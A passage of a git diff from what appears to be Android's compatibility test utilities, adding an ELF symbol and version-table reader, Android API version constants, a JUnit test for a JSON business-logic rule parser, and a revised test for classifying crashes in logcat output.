+                }
+                System.out.println(
+                        String.format(
+                                "%s, %d, %d, %d, %d, %d",
+                                symTabName, sh_offset, sh_size, sh_link, sh_info, sh_entsize));
+            } else if (sh_type == SHT_STRTAB) {
+                final String strTabName = readShStrTabEntry(sh_name);
+                if (".strtab".equals(strTabName)) {
+                    mStrTabOffset = sh_offset;
+                    mStrTabSize = sh_size;
+                } else if (".dynstr".equals(strTabName)) {
+                    mDynStrOffset = sh_offset;
+                    mDynStrSize = sh_size;
+                    System.out.println(
+                            String.format(
+                                    "%s, %d, %d, %d, %d",
+                                    strTabName, sh_offset, sh_size, sh_link, sh_info));
+                }
+            } else if (sh_type == SHT_DYNAMIC) {
+                mIsDynamic = true;
+                final String strTabName = readShStrTabEntry(sh_name);
+                mDynamicTabOffset = sh_offset;
+                mDynamicTabSize = sh_size;
+                System.out.println(
+                        String.format(
+                                "%s, %d, %d, %d, %d",
+                                strTabName, sh_offset, sh_size, sh_link, sh_info));
+            } else if (sh_type == SHT_GNU_VERSYM) {
+                final String strTabName = readShStrTabEntry(sh_name);
+                if (".gnu.version".equals(strTabName)) {
+                    mVerSymTabOffset = sh_offset;
+                    mVerSymTabSize = sh_size;
+                }
+                System.out.println(
+                        String.format(
+                                "%s, %d, %d, %d, %d",
+                                strTabName, sh_offset, sh_size, sh_link, sh_info));
+            } else if (sh_type == SHT_GNU_VERNEED) {
+                final String strTabName = readShStrTabEntry(sh_name);
+                if (".gnu.version_r".equals(strTabName)) {
+                    mVerNeedTabOffset = sh_offset;
+                    mVerNeedTabSize = sh_size;
+                    mVerNeedEntryCnt = (int) sh_info;
+                }
+                System.out.println(
+                        String.format(
+                                "%s, %d, %d, %d, %d",
+                                strTabName, sh_offset, sh_size, sh_link, sh_info));
+            } else if (sh_type == SHT_GNU_VERDEF) {
+                final String strTabName = readShStrTabEntry(sh_name);
+                if (".gnu.version_d".equals(strTabName)) {
+                    mVerDefTabOffset = sh_offset;
+                    mVerDefTabSize = sh_size;
+                    mVerDefEntryCnt = (int) sh_info;
+                }
+                System.out.println(
+                        String.format(
+                                "%s, %d, %d, %d, %d",
+                                strTabName, sh_offset, sh_size, sh_link, sh_info));
+            }
+        }
+    }
+
+    private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
+        for (int i = 0; i < e_phnum; ++i) {
+            mFile.seek(ph_off + i * e_phentsize);
+
+            long p_type = readWord();
+            if (p_type == PT_LOAD) {
+                if (mAddrSize == 8) {
+                    // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
+                    long p_flags = readWord();
+                }
+                long p_offset = readOff();
+                long p_vaddr = readAddr();
+                // ...
+
+                if (p_vaddr == 0) {
+                    mIsPIE = true;
+                }
+            }
+        }
+    }
+
+    private HashMap<String, Symbol> readSymbolTable(
+            Symbol[] symArr,
+            boolean isDynSym,
+            long symStrOffset,
+            long symStrSize,
+            long tableOffset,
+            long tableSize)
+            throws IOException {
+        HashMap<String, Symbol> result = new HashMap<String, Symbol>();
+        mFile.seek(tableOffset);
+        int i = 0;
+        while (mFile.getFilePointer() < tableOffset + tableSize) {
+            long st_name = readWord();
+            int st_info;
+            int st_shndx;
+            long st_value;
+            long st_size;
+            int st_other;
+            if (mAddrSize == 8) {
+                st_info = readByte();
+                st_other = readByte();
+                st_shndx = readHalf();
+                st_value = readAddr();
+                st_size = readX(mAddrSize);
+            } else {
+                st_value = readAddr();
+                st_size = readWord();
+                st_info = readByte();
+                st_other = readByte();
+                st_shndx = readHalf();
+            }
+
+            String symName;
+            if (st_name == 0) {
+                symName = "";
+            } else {
+                symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
+            }
+
+            Symbol sym = new Symbol(symName, st_info, st_shndx, st_value, st_size, st_other);
+            if (symName.equals("")) {
+                result.put(symName, sym);
+            }
+            if (isDynSym) {
+                if (mVerNeedEntryCnt > 0) {
+                    if (sym.type == Symbol.STT_NOTYPE) {
+                        sym.mVerNeed = mVerNeedArr[0];
+                    } else {
+                        sym.mVerNeed = getVerNeed(mVerSym[i]);
+                    }
+                } else if (mVerDefEntryCnt > 0) {
+                    sym.mVerDef = mVerDefArr[mVerSym[i]];
+                }
+            }
+            symArr[i] = sym;
+            i++;
+        }
+        System.out.println(
+                String.format(
+                        "Info readSymbolTable: %s, isDynSym %b, symbol# %d",
+                        mPath, isDynSym, symArr.length));
+        return result;
+    }
+
+    private String readShStrTabEntry(long strOffset) throws IOException {
+        if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
+            return null;
+        }
+        return readString(mShStrTabOffset + strOffset);
+    }
+
+    private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
+            throws IOException {
+        if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
+            return null;
+        }
+        return readString(tableOffset + strOffset);
+    }
+
+    private String readDynStrTabEntry(long strOffset) throws IOException {
+        if (mDynStrOffset == 0 || strOffset < 0 || strOffset >= mDynStrSize) {
+            return null;
+        }
+        return readString(mDynStrOffset + strOffset);
+    }
+
+    private int[] getVerSym() throws IOException {
+        if (mVerSym == null) {
+            mFile.seek(mVerSymTabOffset);
+            int cnt = (int) mVerSymTabSize / 2;
+            mVerSym = new int[cnt];
+            for (int i = 0; i < cnt; i++) {
+                mVerSym[i] = readHalf();
+                //System.out.println(String.format("%d, %d", i, mVerSym[i]));
+            }
+        }
+        return mVerSym;
+    }
+
+    public VerNeed getVerNeed(int ndx) throws IOException {
+        // vna_other Contains version index unique for the file which is used in the version symbol table.
+        if (ndx < 2) {
+            return this.mVerNeedArr[ndx];
+        }
+
+        for (int i = 2; i < this.mVerNeedEntryCnt + 2; i++) {
+            for (int j = 0; j < this.mVerNeedArr[i].vn_cnt; j++) {
+                if (this.mVerNeedArr[i].vn_vernaux[j].vna_other == ndx) {
+                    return this.mVerNeedArr[i];
+                }
+            }
+        }
+        System.out.println(String.format("no VerNeed found: %d", ndx));
+        return null;
+    }
+
+    private VerNeed[] getVerNeedArr() throws IOException {
+        if (mVerNeedArr == null) {
+            mVerNeedArr = new VerNeed[mVerNeedEntryCnt + 2];
+
+            // SHT_GNU_versym 0: local
+            mVerNeedArr[0] = new VerNeed("*local*", "*local*", 0);
+            // HT_GNU_versym 1: global
+            mVerNeedArr[1] = new VerNeed("*global*", "*global*", 1);
+
+            long idx = mVerNeedTabOffset;
+            for (int i = 2; i < mVerNeedEntryCnt + 2; i++) {
+                mFile.seek(idx);
+                mVerNeedArr[i] =
+                        new VerNeed(readHalf(), readHalf(), readWord(), readWord(), readWord());
+                mVerNeedArr[i].vn_file_name = readDynStrTabEntry(mVerNeedArr[i].vn_file).toLowerCase();
+
+                mVerNeedArr[i].vn_vernaux = new VerNAux[mVerNeedArr[i].vn_cnt];
+                long idxAux = idx + mVerNeedArr[i].vn_aux;
+                for (int j = 0; j < mVerNeedArr[i].vn_cnt; j++) {
+                    mFile.seek(idxAux);
+                    mVerNeedArr[i].vn_vernaux[j] =
+                            new VerNAux(readWord(), readHalf(), readHalf(), readWord(), readWord());
+                    mVerNeedArr[i].vn_vernaux[j].vna_lib_name =
+                            readDynStrTabEntry(mVerNeedArr[i].vn_vernaux[j].vna_name);
+                    idxAux += mVerNeedArr[i].vn_vernaux[j].vna_next;
+                }
+                idx += mVerNeedArr[i].vn_next;
+                System.out.println(mVerNeedArr[i]);
+            }
+        }
+
+        return mVerNeedArr;
+    }
+
+    private VerDef[] getVerDef() throws IOException {
+        if (mVerDefArr == null) {
+            mVerDefArr = new VerDef[mVerDefEntryCnt + 2];
+
+            // SHT_GNU_versym 0: local
+            mVerDefArr[0] = new VerDef("*local*");
+            // HT_GNU_versym 1: global
+            mVerDefArr[1] = new VerDef("*global*");
+
+            long idx = mVerDefTabOffset;
+            for (int i = 2; i < mVerDefEntryCnt + 2; i++) {
+                mFile.seek(idx);
+                mVerDefArr[i] =
+                        new VerDef(
+                                readHalf(),
+                                readHalf(),
+                                readHalf(),
+                                readHalf(),
+                                readWord(),
+                                readWord(),
+                                readWord());
+
+                mVerDefArr[i].vd_verdaux = new VerDAux[mVerDefArr[i].vd_cnt];
+                long idxAux = idx + mVerDefArr[i].vd_aux;
+                for (int j = 0; j < mVerDefArr[i].vd_cnt; j++) {
+                    mFile.seek(idxAux);
+                    mVerDefArr[i].vd_verdaux[j] = new VerDAux(readWord(), readWord());
+                    mVerDefArr[i].vd_verdaux[j].vda_lib_name =
+                            readDynStrTabEntry(mVerDefArr[i].vd_verdaux[j].vda_name).toLowerCase();
+                    idxAux += mVerDefArr[i].vd_verdaux[j].vda_next;
+                }
+                idx += mVerDefArr[i].vd_next;
+                System.out.println(mVerDefArr[i]);
+            }
+        }
+        return mVerDefArr;
+    }
+
+    private int readHalf() throws IOException {
+        return (int) readX(2);
+    }
+
+    private long readWord() throws IOException {
+        return readX(4);
+    }
+
+    private long readOff() throws IOException {
+        return readX(mAddrSize);
+    }
+
+    private long readAddr() throws IOException {
+        return readX(mAddrSize);
+    }
+
+    private long readX(int byteCount) throws IOException {
+        mFile.readFully(mBuffer, 0, byteCount);
+
+        int answer = 0;
+        if (mEndian == ELFDATA2LSB) {
+            for (int i = byteCount - 1; i >= 0; i--) {
+                answer = (answer << 8) | (mBuffer[i] & 0xff);
+            }
+        } else {
+            final int N = byteCount - 1;
+            for (int i = 0; i <= N; ++i) {
+                answer = (answer << 8) | (mBuffer[i] & 0xff);
+            }
+        }
+
+        return answer;
+    }
+
+    private String readString(long offset) throws IOException {
+        long originalOffset = mFile.getFilePointer();
+        mFile.seek(offset);
+        mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
+        mFile.seek(originalOffset);
+
+        for (int i = 0; i < mBuffer.length; ++i) {
+            if (mBuffer[i] == 0) {
+                return new String(mBuffer, 0, i);
+            }
+        }
+
+        return null;
+    }
+
+    private int readByte() throws IOException {
+        return mFile.read() & 0xff;
+    }
+
+    public Symbol getSymbol(String name) {
+        if (mSymbols == null) {
+            try {
+                mSymArr = new Symbol[mSymEntCnt];
+                mSymbols =
+                        readSymbolTable(
+                                mSymArr,
+                                false,
+                                mStrTabOffset,
+                                mStrTabSize,
+                                mSymTabOffset,
+                                mSymTabSize);
+            } catch (IOException e) {
+                return null;
+            }
+        }
+        return mSymbols.get(name);
+    }
+
+    public Symbol getDynamicSymbol(String name) throws IOException {
+        if (mDynamicSymbols == null) {
+            try {
+                int[] verSmyArr = this.getVerSym();
+                VerNeed[] verNeedArr = this.getVerNeedArr();
+                VerDef[] verDefArr = this.getVerDef();
+                mDynSymArr = new Symbol[mDynSymEntCnt];
+                mDynamicSymbols =
+                        readSymbolTable(
+                                mDynSymArr,
+                                true,
+                                mDynStrOffset,
+                                mDynStrSize,
+                                mDynSymOffset,
+                                mDynSymSize);
+            } catch (IOException e) {
+                return null;
+            }
+        }
+        return mDynamicSymbols.get(name);
+    }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/VersionCodes.java b/common/util/src/com/android/compatibility/common/util/VersionCodes.java
new file mode 100644
index 0000000..c5ee4d4
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/VersionCodes.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+public class VersionCodes {
+    public static final int CUR_DEVELOPMENT = 10000;
+    public static final int BASE = 1;
+    public static final int BASE_1_1 = 2;
+    public static final int CUPCAKE = 3;
+    public static final int DONUT = 4;
+    public static final int ECLAIR = 5;
+    public static final int ECLAIR_0_1 = 6;
+    public static final int ECLAIR_MR1 = 7;
+    public static final int FROYO = 8;
+    public static final int GINGERBREAD = 9;
+    public static final int GINGERBREAD_MR1 = 10;
+    public static final int HONEYCOMB = 11;
+    public static final int HONEYCOMB_MR1 = 12;
+    public static final int HONEYCOMB_MR2 = 13;
+    public static final int ICE_CREAM_SANDWICH = 14;
+    public static final int ICE_CREAM_SANDWICH_MR1 = 15;
+    public static final int JELLY_BEAN = 16;
+    public static final int JELLY_BEAN_MR1 = 17;
+    public static final int JELLY_BEAN_MR2 = 18;
+    public static final int KITKAT = 19;
+    public static final int KITKAT_WATCH = 20;
+    public static final int L = 21;
+    public static final int LOLLIPOP = 21;
+    public static final int LOLLIPOP_MR1 = 22;
+    public static final int M = 23;
+    public static final int N = 24;
+    public static final int N_MR1 = 25;
+    public static final int O = 26;
+    public static final int O_MR1 = 27;
+    public static final int P = CUR_DEVELOPMENT;
+}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java b/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java
new file mode 100644
index 0000000..23e9da3
--- /dev/null
+++ b/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRule;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleAction;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleCondition;
+import com.android.tradefed.util.FileUtil;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * Unit tests for {@link BusinessLogic}
+ */
+@RunWith(JUnit4.class)
+public class BusinessLogicTest {
+
+    private static final String CORRECT_LOGIC =
+            "{\n" +
+            "  \"name\": \"businessLogic/suites/gts\",\n" +
+            "  \"businessLogicRulesLists\": [\n" +
+            "    {\n" +
+            "      \"testName\": \"testCaseName1\",\n" +
+            "      \"description\": \"first test\",\n" +
+            "      \"businessLogicRules\": [\n" +
+            "        {\n" +
+            "          \"ruleConditions\": [\n" +
+            "            {\n" +
+            "              \"methodName\": \"conditionMethodName1\",\n" +
+            "              \"methodArgs\": [\n" +
+            "                \"arg1\"\n" +
+            "              ]\n" +
+            "            }\n" +
+            "          ],\n" +
+            "          \"ruleActions\": [\n" +
+            "            {\n" +
+            "              \"methodName\": \"actionMethodName1\",\n" +
+            "              \"methodArgs\": [\n" +
+            "                \"arg1\",\n" +
+            "                \"arg2\"\n" +
+            "              ]\n" +
+            "            }\n" +
+            "          ]\n" +
+            "        }\n" +
+            "      ]\n" +
+            "    },\n" +
+            "    {\n" +
+            "      \"testName\": \"testCaseName2\",\n" +
+            "      \"businessLogicRules\": [\n" +
+            "        {\n" +
+            "          \"ruleConditions\": [\n" +
+            "            {\n" +
+            "              \"methodName\": \"conditionMethodName1\",\n" +
+            "              \"methodArgs\": [\n" +
+            "                \"arg1\"\n" +
+            "              ]\n" +
+            "            }\n" +
+            "          ],\n" +
+            "          \"ruleActions\": [\n" +
+            "            {\n" +
+            "              \"methodName\": \"actionMethodName1\",\n" +
+            "              \"methodArgs\": [\n" +
+            "                \"arg1\",\n" +
+            "                \"arg2\"\n" +
+            "              ]\n" +
+            "            }\n" +
+            "          ]\n" +
+            "        },\n" +
+            "        {\n" +
+            "          \"ruleConditions\": [\n" +
+            "            {\n" +
+            "              \"methodName\": \"conditionMethodName1\",\n" +
+            "              \"methodArgs\": [\n" +
+            "                \"arg1\"\n" +
+            "              ]\n" +
+            "            },\n" +
+            "            {\n" +
+            "              \"methodName\": \"!conditionMethodName2\",\n" + // use negation
+            "              \"methodArgs\": [\n" +
+            "                \"arg2\"\n" +
+            "              ]\n" +
+            "            }\n" +
+            "          ],\n" +
+            "          \"ruleActions\": [\n" +
+            "            {\n" +
+            "              \"methodName\": \"actionMethodName1\",\n" +
+            "              \"methodArgs\": [\n" +
+            "                \"arg1\",\n" +
+            "                \"arg2\"\n" +
+            "              ]\n" +
+            "            },\n" +
+            "            {\n" +
+            "              \"methodName\": \"actionMethodName2\"\n" +
+            "            }\n" +
+            "          ]\n" +
+            "        }\n" +
+            "      ]\n" +
+            "    },\n" +
+            "    {\n" +
+            "      \"testName\": \"testCaseName3\"\n" +
+            "    }\n" +
+            "  ]\n" +
+            "}";
+
+    @Test
+    public void testCorrectLogic() throws Exception {
+        File file = createFileFromStr(CORRECT_LOGIC);
+        try {
+            BusinessLogic bl = BusinessLogicFactory.createFromFile(file);
+            assertEquals("Wrong number of business logic rule lists", 3, bl.mRules.size());
+            String description = bl.mRules.get("testCaseName1").get(0).getDescription();
+            assertEquals("Wrong or missing rule list description", "first test", description);
+            List<BusinessLogicRule> rulesList1 = bl.mRules.get("testCaseName1").get(0).getRules();
+            assertEquals("Wrong number of rules in first rule list", 1, rulesList1.size());
+            BusinessLogicRule rule1 = rulesList1.get(0);
+            List<BusinessLogicRuleCondition> rule1Conditions = rule1.mConditions;
+            assertEquals("Wrong number of conditions", 1, rule1Conditions.size());
+            BusinessLogicRuleCondition rule1Condition = rule1Conditions.get(0);
+            assertEquals("Wrong method name for business logic rule condition",
+                    "conditionMethodName1", rule1Condition.mMethodName);
+            assertFalse("Wrong negation value for business logic rule condition",
+                    rule1Condition.mNegated);
+            assertEquals("Wrong arg string count for business logic rule condition", 1,
+                    rule1Condition.mMethodArgs.size());
+            assertEquals("Wrong arg for business logic rule condition", "arg1",
+                    rule1Condition.mMethodArgs.get(0));
+            List<BusinessLogicRuleAction> rule1Actions = rule1.mActions;
+            assertEquals("Wrong number of actions", 1, rule1Actions.size());
+            BusinessLogicRuleAction rule1Action = rule1Actions.get(0);
+            assertEquals("Wrong method name for business logic rule action",
+                    "actionMethodName1", rule1Action.mMethodName);
+            assertEquals("Wrong arg string count for business logic rule action", 2,
+                    rule1Action.mMethodArgs.size());
+            assertEquals("Wrong arg for business logic rule action", "arg1",
+                    rule1Action.mMethodArgs.get(0));
+            assertEquals("Wrong arg for business logic rule action", "arg2",
+                    rule1Action.mMethodArgs.get(1));
+
+            List<BusinessLogicRule> rulesList2 = bl.mRules.get("testCaseName2").get(0).getRules();
+            assertEquals("Wrong number of rules in second rule list", 2, rulesList2.size());
+            BusinessLogicRule rule2 = rulesList2.get(0);
+            List<BusinessLogicRuleCondition> rule2Conditions = rule2.mConditions;
+            assertEquals("Wrong number of conditions", 1, rule2Conditions.size());
+            BusinessLogicRuleCondition rule2Condition = rule2Conditions.get(0);
+            assertEquals("Wrong method name for business logic rule condition",
+                    "conditionMethodName1", rule2Condition.mMethodName);
+            assertFalse("Wrong negation value for business logic rule condition",
+                    rule2Condition.mNegated);
+            assertEquals("Wrong arg string count for business logic rule condition", 1,
+                    rule2Condition.mMethodArgs.size());
+            assertEquals("Wrong arg for business logic rule condition", "arg1",
+                    rule2Condition.mMethodArgs.get(0));
+            List<BusinessLogicRuleAction> rule2Actions = rule2.mActions;
+            assertEquals("Wrong number of actions", 1, rule2Actions.size());
+            BusinessLogicRuleAction rule2Action = rule2Actions.get(0);
+            assertEquals("Wrong method name for business logic rule action",
+                    "actionMethodName1", rule2Action.mMethodName);
+            assertEquals("Wrong arg string count for business logic rule action", 2,
+                    rule2Action.mMethodArgs.size());
+            assertEquals("Wrong arg for business logic rule action", "arg1",
+                    rule2Action.mMethodArgs.get(0));
+            assertEquals("Wrong arg for business logic rule action", "arg2",
+                    rule2Action.mMethodArgs.get(1));
+            BusinessLogicRule rule3 = rulesList2.get(1);
+            List<BusinessLogicRuleCondition> rule3Conditions = rule3.mConditions;
+            assertEquals("Wrong number of conditions", 2, rule3Conditions.size());
+            BusinessLogicRuleCondition rule3Condition1 = rule3Conditions.get(0);
+            assertEquals("Wrong method name for business logic rule condition",
+                    "conditionMethodName1", rule3Condition1.mMethodName);
+            assertFalse("Wrong negation value for business logic rule condition",
+                    rule3Condition1.mNegated);
+            assertEquals("Wrong arg string count for business logic rule condition", 1,
+                    rule3Condition1.mMethodArgs.size());
+            assertEquals("Wrong arg for business logic rule condition", "arg1",
+                    rule3Condition1.mMethodArgs.get(0));
+            BusinessLogicRuleCondition rule3Condition2 = rule3Conditions.get(1);
+            assertEquals("Wrong method name for business logic rule condition",
+                    "conditionMethodName2", rule3Condition2.mMethodName);
+            assertTrue("Wrong negation value for business logic rule condition",
+                    rule3Condition2.mNegated);
+            assertEquals("Wrong arg string count for business logic rule condition", 1,
+                    rule3Condition2.mMethodArgs.size());
+            assertEquals("Wrong arg for business logic rule condition", "arg2",
+                    rule3Condition2.mMethodArgs.get(0));
+            List<BusinessLogicRuleAction> rule3Actions = rule3.mActions;
+            assertEquals("Wrong number of actions", 2, rule3Actions.size());
+            BusinessLogicRuleAction rule3Action1 = rule3Actions.get(0);
+            assertEquals("Wrong method name for business logic rule action",
+                    "actionMethodName1", rule3Action1.mMethodName);
+            assertEquals("Wrong arg string count for business logic rule action", 2,
+                    rule3Action1.mMethodArgs.size());
+            assertEquals("Wrong arg for business logic rule action", "arg1",
+                    rule3Action1.mMethodArgs.get(0));
+            assertEquals("Wrong arg for business logic rule action", "arg2",
+                    rule3Action1.mMethodArgs.get(1));
+            BusinessLogicRuleAction rule3Action2 = rule3Actions.get(1);
+            assertEquals("Wrong method name for business logic rule action",
+                    "actionMethodName2", rule3Action2.mMethodName);
+            assertEquals("Wrong arg string count for business logic rule action", 0,
+                    rule3Action2.mMethodArgs.size());
+
+            List<BusinessLogicRule> rulesList3 = bl.mRules.get("testCaseName3").get(0).getRules();
+            assertEquals("Wrong number of rules in third rule list", 0, rulesList3.size());
+        } finally {
+            FileUtil.deleteFile(file);
+        }
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testLogicWithWrongNodeName() throws Exception {
+        File file = createFileFromStr(CORRECT_LOGIC.replace("testName", "testNam3"));
+        try {
+            BusinessLogic bl = BusinessLogicFactory.createFromFile(file);
+        } finally {
+            FileUtil.deleteFile(file);
+        }
+    }
+
+    private static File createFileFromStr(String blString) throws IOException {
+        File file = File.createTempFile("test", "bl");
+        FileOutputStream stream = new FileOutputStream(file);
+        stream.write(blString.getBytes());
+        stream.flush();
+        stream.close();
+        return file;
+    }
+}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/CrashUtilsTest.java b/common/util/tests/src/com/android/compatibility/common/util/CrashUtilsTest.java
index 0f6ca1e..071733f 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/CrashUtilsTest.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/CrashUtilsTest.java
@@ -16,122 +16,136 @@
 
 package com.android.compatibility.common.util;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Pattern;
-import java.math.BigInteger;
-
-import junit.framework.TestCase;
-
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
+import java.util.regex.Pattern;
 
-
+/** Unit tests for {@link CrashUtils}. */
 @RunWith(JUnit4.class)
-public class CrashUtilsTest extends TestCase {
+public class CrashUtilsTest {
 
-    private List<Crash> mCrashes;
+    private JSONArray mCrashes;
 
     @Before
     public void setUp() throws IOException {
-        BufferedReader txtReader =
-            new BufferedReader(
-                new InputStreamReader(
-                    getClass().getClassLoader().getResourceAsStream("logcat.txt")));
-        try {
+        try (BufferedReader txtReader =
+                new BufferedReader(
+                        new InputStreamReader(
+                                getClass().getClassLoader().getResourceAsStream("logcat.txt")))) {
             StringBuffer input = new StringBuffer();
             String tmp;
             while ((tmp = txtReader.readLine()) != null) {
                 input.append(tmp + "\n");
             }
-            mCrashes = CrashUtils.getAllCrashes(input.toString());
-        } finally {
-            txtReader.close();
+            mCrashes = CrashUtils.addAllCrashes(input.toString(), new JSONArray());
         }
     }
 
     @Test
     public void testGetAllCrashes() throws Exception {
-        List<Crash> expectedResults = new ArrayList<>();
-        expectedResults.add(new Crash(11071, 11189, "AudioOut_D", "/system/bin/audioserver",
-                new BigInteger("e9380000", 16), "SIGSEGV"));
-        expectedResults.add(new Crash(12736, 12761, "Binder:12736_2", "/system/bin/audioserver",
-                new BigInteger("0", 16), "SIGSEGV"));
-        expectedResults.add(new Crash(26201, 26227, "Binder:26201_3", "/system/bin/audioserver",
-                new BigInteger("0", 16), "SIGSEGV"));
-        expectedResults.add(new Crash(26246, 26282, "Binder:26246_5", "/system/bin/audioserver",
-                new BigInteger("0", 16), "SIGSEGV"));
-        expectedResults.add(new Crash(245, 245, "installd", "/system/bin/installd",
-                null, "SIGABRT"));
-        expectedResults.add(new Crash(6371, 8072, "media.codec", "omx@1.0-service",
-                new BigInteger("ed000000", 16), "SIGSEGV"));
-        expectedResults.add(new Crash(8373, 8414, "loo", "com.android.bluetooth",
-                null, "SIGABRT"));
-        expectedResults.add(new Crash(11071, 11189, "synthetic_thread", "synthetic_process_0",
-                new BigInteger("e9380000", 16), "SIGSEGV"));
-        expectedResults.add(new Crash(12736, 12761, "synthetic_thread", "synthetic_process_1",
-                new BigInteger("0", 16), "SIGSEGV"));
+        JSONArray expectedResults = new JSONArray();
+        expectedResults.put(createCrashJson(
+                11071, 11189, "AudioOut_D", "/system/bin/audioserver", "e9380000", "SIGSEGV"));
+        expectedResults.put(createCrashJson(
+                12736, 12761, "Binder:12736_2", "/system/bin/audioserver", "0", "SIGSEGV"));
+        expectedResults.put(createCrashJson(
+                26201, 26227, "Binder:26201_3", "/system/bin/audioserver", "0", "SIGSEGV"));
+        expectedResults.put(createCrashJson(
+                26246, 26282, "Binder:26246_5", "/system/bin/audioserver", "0", "SIGSEGV"));
+        expectedResults.put(createCrashJson(
+                245, 245, "installd", "/system/bin/installd", null, "SIGABRT"));
+        expectedResults.put(createCrashJson(
+                6371, 8072, "media.codec", "omx@1.0-service", "ed000000", "SIGSEGV"));
+        expectedResults.put(createCrashJson(
+                8373, 8414, "loo", "com.android.bluetooth", null, "SIGABRT"));
+        expectedResults.put(createCrashJson(
+                11071, 11189, "synthetic_thread", "synthetic_process_0", "e9380000", "SIGSEGV"));
+        expectedResults.put(createCrashJson(
+                12736, 12761, "synthetic_thread", "synthetic_process_1", "0", "SIGSEGV"));
 
-        assertEquals(expectedResults, mCrashes);
+        Assert.assertEquals(mCrashes.toString(), expectedResults.toString());
+    }
+
+    public JSONObject createCrashJson(
+            int pid, int tid, String name, String process, String faultaddress, String signal) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put(CrashUtils.PID, pid);
+            json.put(CrashUtils.TID, tid);
+            json.put(CrashUtils.NAME, name);
+            json.put(CrashUtils.PROCESS, process);
+            json.put(CrashUtils.FAULT_ADDRESS, faultaddress);
+            json.put(CrashUtils.SIGNAL, signal);
+        } catch (JSONException e) {}
+        return json;
     }
 
     @Test
     public void testValidCrash() throws Exception {
-        assertTrue(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
+        Assert.assertTrue(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
                 .checkMinAddress(true)
                 .setProcessPatterns(Pattern.compile("synthetic_process_0"))));
     }
 
     @Test
     public void testMissingName() throws Exception {
-        assertFalse(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
+        Assert.assertFalse(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
                 .checkMinAddress(true)
                 .setProcessPatterns(Pattern.compile(""))));
     }
 
     @Test
     public void testSIGABRT() throws Exception {
-        assertFalse(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
+        Assert.assertFalse(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
                 .checkMinAddress(true)
                 .setProcessPatterns(Pattern.compile("installd"))));
     }
 
     @Test
     public void testFaultAddressBelowMin() throws Exception {
-        assertFalse(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
+        Assert.assertFalse(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
                 .checkMinAddress(true)
                 .setProcessPatterns(Pattern.compile("synthetic_process_1"))));
     }
 
     @Test
     public void testIgnoreMinAddressCheck() throws Exception {
-        assertTrue(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
+        Assert.assertTrue(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
                 .checkMinAddress(false)
                 .setProcessPatterns(Pattern.compile("synthetic_process_1"))));
     }
 
     @Test
     public void testBadAbortMessage() throws Exception {
-        assertFalse(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
+        Assert.assertFalse(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
                 .checkMinAddress(true)
                 .setProcessPatterns(Pattern.compile("generic"))));
     }
 
     @Test
     public void testGoodAndBadCrashes() throws Exception {
-        assertTrue(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
